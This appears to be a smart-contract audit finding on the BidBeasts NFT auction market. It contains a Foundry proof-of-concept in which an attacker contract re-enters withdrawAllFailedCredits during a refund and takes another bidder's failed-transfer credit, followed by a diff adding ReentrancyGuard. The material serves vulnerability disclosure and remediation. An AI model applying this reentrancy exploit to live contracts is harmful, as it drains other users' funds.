Foundry-style PoC: reenter during refund to attacker and drain previously created credits.
contract RejectBidder {
BidBeastsNFTMarket immutable market;
constructor(BidBeastsNFTMarket m) { market = m; }
function bid(uint256 tokenId, uint256 amount) external payable {
require(msg.value == amount, "bad value");
market.placeBid{value: amount}(tokenId);
}
}
contract ReenteringBidder {
BidBeastsNFTMarket immutable market;
address victim;
bool reentered;
constructor(BidBeastsNFTMarket m) { market = m; }
function setVictim(address v) external { victim = v; }
function bid(uint256 tokenId, uint256 amount) external payable {
require(msg.value == amount, "bad value");
market.placeBid{value: amount}(tokenId);
}
receive() external payable {
if (!reentered) {
reentered = true;
market.withdrawAllFailedCredits(victim);
}
}
}
function test_Reentrancy_DrainsCreditsDuringRefund() public {
BidBeasts nft = new BidBeasts();
BidBeastsNFTMarket market = new BidBeastsNFTMarket(address(nft));
address seller = address(0xA11CE);
vm.prank(nft.owner());
nft.mint(seller);
vm.startPrank(seller);
nft.approve(address(market), 0);
market.listNFT(0, 1 ether, 0);
vm.stopPrank();
RejectBidder victim = new RejectBidder(market);
vm.deal(address(victim), 10 ether);
vm.prank(address(victim));
victim.bid{value: 1 ether}(0, 1 ether);
ReenteringBidder attacker = new ReenteringBidder(market);
vm.deal(address(attacker), 10 ether);
vm.prank(address(attacker));
attacker.bid{value: 2 ether}(0, 2 ether);
attacker.setVictim(address(victim));
address honest = address(0xBEEF);
vm.deal(honest, 10 ether);
uint256 refund = 2 ether;
uint256 credit = 1 ether;
uint256 attackerBalBefore = address(attacker).balance;
vm.prank(honest);
market.placeBid{value: 3 ether}(0);
assertEq(market.failedTransferCredits(address(victim)), 1 ether);
assertEq(address(attacker).balance, attackerBalBefore + refund + credit);
}
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract BidBeastsNFTMarket is Ownable(msg.sender) {
+ contract BidBeastsNFTMarket is Ownable(msg.sender), ReentrancyGuard {
- function placeBid(uint256 tokenId) external payable isListed(tokenId) {
+ function placeBid(uint256 tokenId) external payable isListed(tokenId) nonReentrant {
- function settleAuction(uint256 tokenId) external isListed(tokenId) {
+ function settleAuction(uint256 tokenId) external isListed(tokenId) nonReentrant {
- function takeHighestBid(uint256 tokenId) external isListed(tokenId) isSeller(tokenId, msg.sender) {
+ function takeHighestBid(uint256 tokenId) external isListed(tokenId) isSeller(tokenId, msg.sender) nonReentrant {
- function withdrawFee() external onlyOwner {
+ function withdrawFee() external onlyOwner nonReentrant {